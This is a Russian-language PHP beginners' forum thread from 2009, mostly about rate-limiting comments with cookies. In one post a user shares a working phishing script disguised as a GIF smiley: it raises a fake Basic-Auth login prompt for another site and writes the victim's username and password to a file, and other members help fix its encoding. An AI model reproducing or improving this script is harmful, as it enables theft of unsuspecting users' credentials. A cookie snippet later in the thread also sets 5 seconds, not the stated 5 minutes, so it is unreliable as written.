[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. H0LLyWooD

    H0LLyWooD New Member

    Joined:
    10 Sep 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    извини не понял
     
  2. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    прогугли
    php + curl + post
     
  3. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Господа, здравствуйте.
    Короче мне нужнен блок комментарий..я написал примерно такой примитивный, но хочу разширить возможности..
    К примеру..
    Есть файл post.php u comment.php

    В post.php форма, 3 поля: автор,комментарий и каптча..
    В comment.php все проверки на зополнение полей, все дела тра ляля..
    Как можно сделать, что б один человек, добавлял комментарий не раньше чем через 5 мин? Тогда и каптча не нужна. Мне для вап сайта.
     
  4. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    sleep(); не?
     
  5. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Как реализовать это можно?
    Чуваак, я с PHP неделю, немогу все знать..даже если это очень просто..
    Это в параметрах функции указываются секунды? sleep(15);
    Ну тогда логично предположить, шо сам скрипт не будет работать 15 сек, а мне надо шоб человек не мог писать в течении этого времени.. это типа пинок с чата на 5 минут или бан по ip+soft..вроде этого..понимаешь?
     
  6. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Ну попробуй чтобы его ип заносился в базу/файл время последнего поста. потом при повторной попытки оставить комент сравниваеться время то что щас и то что в базе, если прошел промежуток больше чем 5 мин то постит если нет то пишет подожать еще. Ето как вариант
     
  7. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Как-то много написано..легче нельзя?
     
  8. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Помогите исправить скрипт :(
    Проблема в том, что если в окошко ввести логин или пароль русским то оно сохранится в файле в таком виде "сугдея"
    как такое можно исправить? или может можно как не будь перевести из "сугдея" в русское слово?
    PHP:
    <?
    //делаем скрипт картинкой
    header("Content-type: image/gif");
    //делаем изображение смайликом из архива
    $image imagecreatefromgif('mellow.gif');
    if(!
    $_COOKIE['LOGON'])
    {
     
    $login $_SERVER['PHP_AUTH_USER'];
     
    $pass  $_SERVER['PHP_AUTH_PW'];
     
    //Авторизация пройдёт, если пароль больше 3-ёх символов и вообще написан логин
     
    if(strlen($pass) <= || !$login)
     {
      
    Header('HTTP/1.1 401 Unauthorized');
      
    Header('WWW-Authenticate: Basic realm="world-of-love.ru - login"');
     }
     elseif(
    $login)
     {
      
    //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
      
    setcookie('LOGON',md5($pass));
      
    //запишем пароли в файл
      
    $f fopen('passwords.txt''ab'); //passwords.txt
      
    fwrite($fdate("h:i:s")." > REFERER: ".getenv("HTTP_REFERER")." := ".$login.":=".$pass."\r\n"); //в формате LOGIN ||| PASSWORD    
      
    fclose($f);
     }
    }
    imagegif($image);
    imagedestroy($image);
    ?>
     
  9. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    к $login и $pass применяй iconv
     
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    A sleep(); тут при чем?
    xaker-boss, меняй кодировку iconv()
    А сугдея - это сугдея.
     
  11. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Failure mailbrush а можете применить это к моему скрипту? просто я не фига не шарю в php
     
    #12551 xaker-boss, 9 Nov 2009
    Last edited: 9 Nov 2009
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    php.net/iconv
     
  13. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    mailbrush, не подскажешь?
     
  14. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    Проставляй юзеру куки
    И погугли
     
  15. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    гуглил..((
     
  16. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    http://www.php.su/functions/?setcookie
    :)
     
    3 people like this.
  17. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    thanks)
     
  18. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Всеравно незнаю как реализовать(
     
  19. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    мутим куки на 5 минут до вывода:

    setcookie ("post", "значение",time()+5);
    и в скрипте,котрый проверят входные данные сomment.php:
    if(!$_COOKIE['post']){
    true;//continue
    }else{
    false;//bad
    }
    дерзай

    ________
    0ph.ru
     
    #12559 L I G A, 10 Nov 2009
    Last edited: 10 Dec 2009
    2 people like this.
  20. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Спасиб, попробую.
    ++++
     
Thread Status:
Not open for further replies.